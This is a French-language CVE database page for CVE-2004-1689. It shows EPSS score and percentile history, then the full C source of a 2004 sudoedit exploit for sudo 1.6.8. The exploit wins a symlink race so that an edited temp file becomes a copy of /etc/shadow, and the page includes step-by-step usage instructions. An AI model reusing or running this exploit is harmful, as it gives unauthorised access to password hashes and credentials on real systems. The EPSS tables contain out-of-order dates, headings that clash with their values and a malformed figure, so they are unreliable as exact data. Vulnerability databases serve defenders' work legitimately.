CVE-2004-1689 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2023-05-14	–	–	–	0.04%	–
2023-06-04	–	–	–	0.04%	–
2023-06-25	–	–	–	0.04%	–
2023-07-02	–	–	–	0.04%	–
2023-07-09	–	–	–	0.04%	–
2023-07-30	–	–	–	0.04%	–
2023-09-17	–	–	–	0.04%	–
2023-12-03	–	–	–	0.04%	–
2024-03-10	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-23	–	–	–	0.04%	–
2024-08-04	–	–	–	0.04%	–
2024-08-11	–	–	–	0.04%	–
2024-09-01	–	–	–	0.04%	–
2024-12-22	–	–	–	0.12%	–
2025-02-16	–	–	–	0.12%	–
2025-01-19	–	–	–	0.12%	–
2025-02-16	–	–	–	0.12%	–
2025-03-18	–	–	–	–	0.17%
2025-03-18	–	–	–	–	0.17,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	7%
2023-05-14	8%
2023-06-04	7%
2023-06-25	8%
2023-07-02	7%
2023-07-09	8%
2023-07-30	7%
2023-09-17	8%
2023-12-03	7%
2024-03-10	8%
2024-04-14	9%
2024-06-02	9%
2024-06-02	9%
2024-06-23	1%
2024-08-04	9%
2024-08-11	1%
2024-09-01	–
2024-12-22	47%
2025-02-16	48%
2025-01-19	47%
2025-02-16	48%
2025-03-18	35%
2025-03-18	35%

/* Copyright © Rosiello Security 2004 http://www.rosiello.org sudoedit Exploit SOFTWARE : sudoedit REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html DATE: 18/09/2004 Summary: A flaw in exists in sudo's -u option (aka sudoedit) in sudo version 1.6.8 that can give an attacker read permission to a file that would otherwise be unreadable. Sudo versions affected: 1.6.8 only Credit: Reznic Valery discovered the problem. ----------------------------------------------------------- All the information that you can find in this software were published for educational and didactic purpose only. The author published this program under the condition that is not in the intention of the reader to use them in order to bring to himself or others a profit or to bring to others damage. !Respect the law! How do I use this code ? To exploit sudoedit you have to open with it the file "rosiello" as shown in the example. EXAMPLE SCENARIO: 1) Open two shells (i) and (ii); 2) (i)$sudoedit rosiello; 3) (ii)$./sudoedit-exploit /etc/shadow; 4) (i) close sudoedit. The file "rosiello" is now a copy of "/etc/shadow". AUTHOR : Angelo Rosiello CONTACT: angelo rosiello org */ #include <stdio.h> #include <sys/stat.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <dirent.h> int main( int argc, char *argv[] ) { char PATH[]="/usr/tmp"; char file[32]; DIR *tmp; struct dirent *de; tmp = opendir ( PATH ); int found = 0; printf( "Copyright © Rosiello Security 2004\n" ); printf( "http://www.rosiello.org\n" ); if( argc!=2 ) { printf( "USAGE: %s file\n", argv[0] ); return( 0 ); } while ( (de = readdir ( tmp ))!= NULL ) { if ( (strstr(de->d_name, "rosiello") != NULL) ) { if( strlen(de->d_name) > 24 ) return( 0 ); sprintf( file, "%s/%s", PATH, (char *)de->d_name ); remove( file ); if( fork()!=0 ) { execl( "/bin/ln", "ln", "-s", argv[1], file, NULL ); } wait( ); printf( "Now you can close sudoedit and reopen rosiello!\n" ); found=1; goto end; } } end: closedir( tmp ); if( !found ) printf( "File Not Found!\n" ); return( 0 ); } // milw0rm.com [2004-09-21]